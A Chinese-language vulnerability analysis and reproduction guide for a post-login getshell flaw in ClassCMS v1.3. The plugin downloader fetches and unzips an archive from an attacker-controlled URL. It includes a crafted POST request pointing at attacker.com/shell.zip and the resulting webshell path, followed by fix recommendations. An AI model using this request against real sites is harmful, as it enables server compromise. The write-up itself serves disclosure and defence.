ClassCMS 后台getshell 复现
字数 1082 2025-08-15 21:33:50
ClassCMS 后台Getshell漏洞分析与复现
漏洞概述
ClassCMS v1.3版本存在后台任意文件下载并解压漏洞,攻击者可以通过构造恶意请求,将远程服务器上的恶意压缩包下载到网站目录并自动解压,从而实现Getshell。
漏洞影响版本
ClassCMS v1.3及之前版本
漏洞原理分析
黑盒分析
- 漏洞触发点:位于后台应用商店的插件下载功能
- 关键请求:向
/admin/?do=shop:downloadClass&ajax=1发送POST请求 - 参数说明:
classhash:插件名称(将作为解压目录名)url:插件下载地址(可被控制)
白盒分析
-
核心代码路径:
/class/shop/shop.php -
关键函数:
download()函数:负责从指定URL下载文件unzip()函数:位于/cms/class.php,负责解压下载的文件
-
漏洞流程:
- 后台接收用户可控的
url参数 - 通过
download()函数下载远程文件 - 使用
unzip()函数自动解压下载的压缩包 - 解压后的文件保留在网站目录中
- 后台接收用户可控的
漏洞复现步骤
环境准备
- 下载并安装ClassCMS v1.3
- 准备一个包含Webshell的压缩包(如
shell.zip,内含index.php) - 将恶意压缩包上传到可公开访问的服务器
复现过程
-
登录后台:访问
/admin/并使用管理员账号登录 -
进入应用商店:导航至"应用管理"->"应用商店"
-
拦截下载请求:
- 选择任意插件点击下载
- 使用Burp Suite等工具拦截请求
-
构造恶意请求:
POST /admin/?do=shop:downloadClass&ajax=1 HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: [有效的会话Cookie] classhash=shell&url=http://attacker.com/shell.zip&csrf=[有效的CSRF Token] -
执行结果:
- 系统会从
http://attacker.com/shell.zip下载文件 - 自动解压到
/class/shell/目录 - Webshell路径:
/class/shell/index.php
- 系统会从
漏洞修复建议
-
输入验证:
- 对
url参数进行严格过滤,限制只能从官方域名下载 - 验证文件类型,确保只解压合法的插件包
- 对
-
权限控制:
- 限制插件下载功能仅超级管理员可用
- 实现文件内容检查机制
-
临时解决方案:
- 禁用应用商店功能
- 限制后台访问IP
技术要点总结
- 漏洞本质:未授权文件下载+自动解压
- 利用条件:
- 拥有后台管理员权限
- 服务器允许对外发起HTTP请求
- 危害等级:高危(可导致服务器完全沦陷)
扩展思考
-
类似漏洞在CMS系统中常见于:
- 主题/插件安装功能
- 自动更新机制
- 文件导入功能
-
防御此类漏洞的通用方案:
- 实施严格的来源验证
- 在沙箱环境中处理压缩文件
- 实现文件内容安全检查